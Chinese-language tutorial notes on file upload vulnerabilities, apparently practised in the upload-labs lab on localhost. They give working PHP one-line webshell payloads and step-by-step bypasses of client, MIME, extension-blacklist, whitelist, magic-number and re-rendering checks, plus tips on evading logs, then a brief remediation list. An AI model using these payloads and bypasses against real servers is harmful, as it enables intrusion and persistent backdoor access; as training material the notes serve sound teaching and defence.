一、文件上传漏洞
- 前提条件:
- 能上传webshell (若仅让上传图片,而又绕不过去,则不行)
- webshell路径可知 (需要访问目标, 不知道则访问不了 )
- webshell 可以被访问
- webshell可以被解析(即可以显示页面; 若返回页面直接显示代码,并没有解析)
- 判断
- 确认是什么过滤?
上传任意文件,得到仅允许上传jpg 等图片文件 - 上传木马图片,jpg+一句话木马文件
发现上传错误----检测了文件内容 - 加GIF89a, 后缀为txt
1. 基础操作
URL操作
执行webshell
url根目录后:
?id=phpinfo();
或
id=system(whoami);
或
id=system(ipconfig);
......
文件操作
基础代码
<?php phpinfo(); ?>
2. webshell
说明
一种恶意脚本 或网站后门
webshell分类
php/asp/jsp/木马等
大马/小马/一句话木马
打包马/拖库马/内存马
- 一句话木马
代码:
<?php @eval($_POST[' cmd']); ?>
解释:
数据传递:post 通过post接收cmd这个参数值
数据执行: 原代码:
<?php @eval($_POST['cmd']); ?>
执行:cmd=phpinfo();
变为:<?php @eval(phpinfo();); ?>
等价post赋给cmd的值
3. 分类
- post
post代码中有: @,用于隐藏信息
post方式,不会被记录,记录了一般人也看不懂
操作
hackbar----开启post-----body中写kong=phpinfo(); ----执行----得到页面返回结果
- get
get代码中没有@, 则直接显示代码(如果加上@,则也不会显示)
get方式会记录入侵者的操作,所以一般不用get
4. 检测文件方式
- 判断c/s检测
操作
方式1:上传非法文件,返回结果是否很快?(上传非图片文件,立马错误提示)
快---客户端 ( 原因: 因为不需要将这个文件发送给服务器 )
慢---服务端 (点击上传,浏览器按钮刷新,原因: 发送数据,服务端接收数据-返回响应-浏览器接收响应-刷新页面)
方式2: 刷新按钮
客户端检测,刷新按钮不会刷新,
服务端检测,刷新按钮会刷新
方式3: bp抓包
客户端: bp抓不到相应包
服务端: bp可以抓到
4.1 客户端检测
检测方式
javascript检测
绕过方式
- 手动禁用javascript 或使用 noscript插件(不推荐)
操作:
检查----三点(定制开发者工具及帮助)----设置----勾选禁用JavaScript-----点击上传
案例:
网页复制文字时----扫码交钱-----可以禁用JavaScript----再次复制
- 删除onsubmit 等相关元素代码
操作
上传页面----检查----左上角箭头----点击上传位置的元素----查看器:找到onsubmit(上传按钮)
找到查看器中的return checkfile()----删除-----回车-----上传
上传成功后, 复制图像链接----打开url----右键检查----hackbar----load----post data ---- cmd=phpinfo();-----返回页面-----说明上传成功
限制
只能使用一次,再次打开return checkfile()函数又回来了
辅助查看
右键页面----查看页面源代码-----查找------script type="javascript/txt";
其中,checkfile 函数作用:判断文件名;
file== "" 或 file==null 文件名为空,说明没有上传文件
4.2 服务端检测
判断检测了后缀还是内容
操作
上传代码图片( 内容为代码, 后缀为图片后缀)
文件能上传: 仅检查后缀
文件不能上传: 检查了后缀和内容
- other(逻辑)
mime类型检测
mime类型绕过方式
操作
bp抓包, 修改第二个content-type参数为-----content-type: image/png-------修改完直接关闭拦截
或
随意上传文件后缀,bp中抓包任意更改mime类型
hackbar执行相关文件代码: cmd=phpinfo();
常见mime类型
.gif gif image/gif
.png image/png
.jpg image/jpeg mime类型为jpeg
文件后缀检测
判断
操作:
上传任意后缀
成功:黑名单
失败:白名单(规定了只允许上传哪些东西)
黑名单检测
- 后缀大小写绕过
前提: 仅仅使用Windows, 对大小写不敏感; 访问1.php 与 访问1.PHP一样
操作: bp中抓包,修改后缀为大写, 成功上传; 这时文件名会被服务器修改,复制该文件名访问
- 后缀双写绕过
操作: bp中抓包,修改后缀. 例如: x.php 修改为 x.phphpp
- 其它可解析后缀绕过
前提: 后端配置文件httpd-conf中 配置了该后缀
后端配置: 后端疏忽操作(站在后台维护角度)-----phpstudy----其他选项-----打开配置文件-----httpd.conf 文件, 第403行加上该文件后缀后,就可以上传-----重启服务
操作: 更改不同服务器后缀为以下各种
PHP: php2、php3、php5、phtml、.pht(是否解析需要根据配置文件中设置类型来决定)
ASP:asa、cer、cdx
ASPX:ascx、ashx、asac
JSP:jspx、jspf
- 图片+.htaccess配置文件绕过
操作:
上传 nn.png 与 .htaccess文件; .htaccess文件代码内容设置图片名为: nn.png ,则上传nn.png 文件
文件内容:
<FilesMatch "nn.png"> setHandler application/x-httpd-php </FilesMatch>
代码解释:
调用解析器去解析图片nn.png
访问对象:
nn.png (http://127.0.0.1/upload-labs-master/upload/nn.png) ,非.htaccess文件
生效对象:
.htaccess该文件上传到某个目录,就对这个目录生效
httpd.conf文件为apache服务器整个网站的目录
注意: .htaccess文件(不能有文件名), 若有bp抓包修改
操作
bp抓包,修改后,访问response中地址: http://127.0.0.1/upload-labs-master/upload/1.png
执行相关代码---- cmd=phpinfo();
白名单检测
判断
上传一张图片与上传一个自己构造的后缀. 如果只能上传图片不能上传其它后缀文件,说明是白名单检测
前提条件
php:php < 5.3.29且magic_quotes_gpc=off
java: jdk < JDK1.7.0_40
后台管理员误操作
后端误设置服务器版本: phpstudy------切换版本: 5.2.17
phpstudy----打开配置文件----php-ini
ctrl+F---- magic_quotes_gpc, 修改为: Off
保存-----重启
- %00截断绕过
操作
bp抓包,修改参数
将 save_path=../upload/
修改为 save_path=../upload/test.php%00
访问: /upload/test.php ; ../upload/test.php/132023.png
执行: cmd=phpinfo(); -----成功
原理
%00(空格) 是一个url编码, 当url中出现%00时就会认为读取已结束
response后
复制路径过来为: ../upload/test.php , test后有%00, 将后面内容删除了
- 0x00截断绕过
操作
抓包-----
将 ../upload/
修改为 ../upload/cmd.php a ( 注释:空格+a, 表示添加一个标记)
切换到
十六进制HEX-----找到../upload/cmd.php a其中的空格,------ 将空格(16进制为20) 改为 00
原理
response中: ../upload/ cmd.php空格a.... ,后面内容截断,复制不了
访问: /upload/cmd.php -----成功
系统在对文件名进行读取时,如果遇到0x00,就会认为读取已经结束。00是文件的十六进制内容里的00,而不是文件名中的00
- 文件包含漏洞+图片马进行绕过
操作
上传文件-----复制图像链接-----打开----复制文件名; 点击文件包含漏洞
url中输入: ?file=upload/6520231124134708.png
结果: 文件太大,出现错误
蚁剑连接时url为: png的url----http://127.0.0.1/upload-labs-master/include.php?file=upload/6520231124134708.png
文件内容检测
判断
操作
上传成功后的图片和上传前的图片大小,颜色和md5是否有变化?
有: 重新渲染
没有: 仅读取内容
- 文件幻数检测
常见的图片文件幻数
png (16进制) 文件幻数: 89 50 4E 47 0D 0A 1A 0A
JPEG(jpg) 文件幻数: FF D8 FF E0 00 10 4A 46
GIF 文件幻数: 47 49 46 38 39 61 0A 00
查看图片文件的幻数
操作
bp抓包-----hex---查看
或
利用hxd/010/Edjpgcom 等软件,拖动文件进来即可查看
不同的文件格式,如docx, png, zip等文件幻数都不相同
添加文件幻数
操作
php文件中添加gif文件幻数
代码如下
GIF89a<?php @eval($_POST[' cmd']);?>
- 软件/cmd 制作图片马
hxd64.exe
操作:
在Hxd工具右侧中直接添加一句话木马代码:
代码如下
<?php @eval($_POST['cmd']); ?>
或者修改hex中代码图片幻数
Edjpgcom
条件:只能编辑jpg文件
操作: 拖动图片到Edjpgcom.exe图标中打开----右侧hex为00 的地方,添加一句话木马
010Editor.exe
操作: 拖动图片到Edjpgcom.exe图标中打开----右右侧hex为00 的地方,添加一句话木马
cmd制图片马
cmd下执行(必须在有图片和马的目录下):copy aaa.jpg/b + test.php/a shell.jpg
解释:
/b 以二进制方式打开
/a 以ASCII方式打开
生成shell.jpg文件(包含aaa.jpg和test.php文件内容),可以正常打开
两张图片都可以正常打开,而shell马文件会在最后加上一句话木马
手工制作图片马
操作:在正常图片中添加一句话木马
- 二次渲染
操作
上传正常图片----上传后----右键-----将图片另存为;
之后,打开010 editor工具,在原始文件中都为00部分插入webshell马
原理
根据用户上传的图片,新生成一个图片. 将原始图片删除,将新图片添加到特殊的数据库中
例如: 网站根据用户上传的头像生成大中小不同尺寸的图像
其他
- 组合上传
- 文件上传: 前端验证+mime+黑名单/文件内容
- 文件包含+白名单
文件上传
- 1.php恶意代码文件 (php文件马)
可以直接进行利用, 只要服务器有php解析器就能解析
-
2.代码图片 (php文件幻数马)
-
3.带马正常图片 (图片马)
必须要配合其他的漏洞进行利用
如
1 文件包含漏洞解析
2 htaccess+1.jpg 解析
3 中间件+1.jpg解析
才能解析
二、其他基础技巧
- web日志开启
phptutorial\apache\logs\access.log
日志内容解释:
ip地址 访问时间 请求方法 访问的目录 状态码 内容长度
- 问题
php文件可以上传,但是有php文件的一句话木马上传不了;
编辑在图片里面的一句话代码通过文件包含漏洞执行里面的PHP语句;
三、文件上传漏洞修复
1、 上传的目录设置为不可执行。只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要。
2、 对文件后缀的判断中使用白名单的方式。
3、 文件服务器和web服务器分离,也就是上传的文件单独存放到其他的服务器之中。
4、 不需要返回文件路径的情况下,随机改写文件名